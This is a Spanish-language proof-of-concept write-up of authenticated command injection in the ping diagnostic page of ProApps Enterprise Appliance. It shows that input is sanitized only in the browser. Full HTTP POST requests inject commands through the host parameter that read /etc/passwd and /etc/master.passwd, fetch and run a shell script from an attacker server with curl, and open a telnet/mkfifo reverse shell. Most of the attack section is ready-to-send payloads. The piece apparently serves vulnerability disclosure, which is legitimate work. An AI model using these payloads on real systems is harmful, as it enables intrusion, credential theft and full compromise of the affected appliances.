
Prueba de concepto de explotación para ejecución remota de código autenticada mediante inyección de comandos en la funcionalidad ping de ProApps Enterprise Appliance, con payload de shell inversa y omisión de la sanitización del lado del cliente.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
Ejecución remota de código
La vulnerabilidad se produce porque un usuario puede inyectar comandos del sistema a través de la aplicación utilizando la funcionalidad de ping, añadiendo un operador de secuencia de comandos en entornos Unix, como (;, &&, o |). Para explotar la vulnerabilidad es necesario estar autenticado. El usuario debe pertenecer a un grupo de permisos llamado 'Status' y tener permiso de 'Modified'. También es importante mencionar que la explotación exitosa requiere evadir la sanitización de entradas. La aplicación solo valida la entrada del usuario en el front-end, por lo que es necesario enviar la solicitud a través de un proxy de red, por ejemplo. De este modo, se evitan las limitaciones impuestas por la aplicación.
Después de la autenticación, será necesario acceder a una página llamada sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
Esta página proporciona una función para realizar una solicitud ICMP a un host arbitrario. Para obtener más información sobre la utilidad ping y el protocolo ICMP (Request y Reply), consulte el RFC mencionado en la sección de referencias.
La aplicación envía una solicitud POST con los parámetros host, testar_pacote y ttl, donde host es el destino del ping, testar_pacote especifica el número de solicitudes ICMP a enviar y TTL es el tiempo de vida (TTL) de los paquetes. Al enviar la solicitud, la aplicación ejecuta el siguiente comando en el sistema Unix: ping -c $testar_pacote $host. A continuación se muestra la solicitud POST que demuestra la funcionalidad:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
Aquí es donde se observa un vector de ataque. Un usuario puede explotar la vulnerabilidad enviando una solicitud POST maliciosa a través de un proxy de red para evadir la sanitización de entradas, añadiendo uno de los operadores de secuencia de comandos (;, &&, o |) al parámetro host; la aplicación web ejecutará el comando ping mencionado anteriormente, seguido de un comando adicional. Por ejemplo, esto podría incluir la lectura de archivos sensibles como /etc/passwd, /etc/master.passwd, obtener una reverse shell o ejecutar comandos arbitrarios.
La solicitud POST siguiente es un ejemplo manipulado y malicioso:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
Solicitud HTTP POST a sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Escuchando en el puerto especificado con Netcat, se abre una reverse shell con éxito.
Las vulnerabilidades de RCE (ejecución remota de código) permiten a un atacante ejecutar código arbitrario en un dispositivo remoto, lo que puede conducir a un compromiso total del sistema, fuga de datos, movimiento lateral, despliegue de malware y daños reputacionales y financieros.